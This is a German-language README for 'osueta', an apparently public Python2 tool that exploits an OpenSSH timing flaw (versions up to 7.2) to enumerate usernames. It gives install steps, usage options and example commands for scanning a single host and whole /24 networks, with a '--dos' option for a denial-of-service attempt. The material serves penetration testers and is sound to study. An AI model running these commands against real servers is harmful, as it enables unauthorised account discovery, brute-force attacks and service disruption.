
Ein einfaches Python-Skript, um den OpenSSH-Benutzerenummerierungs-Timing-Angriff auszunutzen.
* ___ ___ ___ _ _ *
* / _ \ _ __ ___ _ _ / __/ __| || | *
* | (_) | '_ \/ -_) ' \\__ \__ \ __ | *
* \___/| .__/\___|_||_|___/___/_||_| *
* |_| *
* _ _ ___ _ _ *
* | | | |___ ___ _ _ | __|_ _ _ _ _ __ ___ _ _ __ _| |_(_)___ _ _ *
* | |_| (_-</ -_) '_| | _|| ' \ || | ' \/ -_) '_/ _` | _| / _ \ ' \ *
* \___//__/\___|_| |___|_||_\_,_|_|_|_\___|_| \__,_|\__|_\___/_||_| *
* *
* _____ _ _ _ _ _ _ *
* |_ _(_)_ __ (_)_ _ __ _ /_\| |_| |_ __ _ __| |__ *
* | | | | ' \| | ' \/ _` | / _ \ _| _/ _` / _| / / *
* |_| |_|_|_|_|_|_||_\__, | /_/ \_\__|\__\__,_\__|_\_\ *
* |___/ *
***************************************************************************
Osueta ist ein einfaches Python2-Skript, das den OpenSSH User Enumeration Timing Attack ausnutzt,
der in OpenSSH-Versionen <= 7.2 und >= 5.* vorhanden ist. Das Skript kann Variationen
des bei der Brute-Force-Attacke verwendeten Benutzernamens erstellen und die Möglichkeit bieten,
einen DOS-Zustand auf dem OpenSSH-Server herbeizuführen.
http://seclists.org/fulldisclosure/2013/Jul/88
Der Fehler wurde in OpenSSH Version 7.3 behoben:
http://www.openssh.com/txt/release-7.3
c0r3dump3d | coredump<@>autistici.org
rofen | rofen<@>gmx.de
Wir möchten Javier Nieto von www.behindthefirewalls.com für seine Unterstützung und Hilfe danken.
Wie andere offensive Tools lehnen die Autoren jegliche Verantwortung für die Nutzung dieses Skripts ab.
Debian:
# apt-get install python-ipy python-nmap
# pip install paramiko
# pip install IPy
ArchLinux:
# pacman -S python2-ipy python2-nmap python2-paramiko
$ git clone https://github.com/c0r3dump3d/osueta.git
usage: osueta.py [-h] [-H HOST] [-k HFILE] [-f FQDN] [-p PORT] [-L UFILE]
[-U USER] [-d DELAY] [-v VARI] [-o OUTP] [-l LENGTH]
[-c VERS] [--dos DOS] [-t THREADS]
OpenSSH User Enumeration Time-Based Attack Python Skript
optionale Argumente:
-h, --help zeigt diese Hilfemeldung an und beendet das Programm
-H HOST Host-IP oder CIDR-Netzwerkblock.
-k HFILE Hostliste in einer Datei.
-f FQDN FQDN, der angegriffen werden soll.
-p PORT Host-Port.
-L UFILE Datei mit Benutzernamenliste.
-U USER Nur einen einzelnen Benutzernamen verwenden.
-d DELAY Feste Verzögerungszeit in Sekunden. Wenn nicht angegeben, wird die Verzögerungszeit berechnet.
-v VARI Variationen des Benutzernamens erstellen (Standard: ja).
-o OUTP Ausgabedatei mit positiven Ergebnissen.
-l LENGTH Länge des Passworts in Zeichen (x1000) (Standard: 40).
-c VERS OpenSSH-Version überprüfen oder nicht (Standard: ja).
--dos DOS Versuch eines DOS-Angriffs (Standard: nein).
-t THREADS Threads für den DOS-Angriff (Standard: 5).
* Ein einzelner Benutzernamen-Enumeration-Versuch mit Benutzernamenvariationen:
./osueta.py -H 192.168.1.6 -p 22 -U root -d 30 -v yes
* Ein einzelner Benutzernamen-Enumeration-Versuch ohne Benutzernamenvariationen und mit einem DOS-Angriff:
./osueta.py -H 192.168.1.6 -p 22 -U root -d 30 -v no --dos yes
* Scannen eines C-Klasse-Netzwerks mit nur einem Benutzer:
./osueta -H 192.168.1.0/24 -p 22 -U root -v no
* Scannen eines C-Klasse-Netzwerks mit Benutzernamen aus einer Datei, Verzögerungszeit 15 Sekunden und einem Passwort von 50000 Zeichen:
./osueta -H 192.168.1.0/24 -p 22 -L usernames.txt -v yes -d 15 -l 50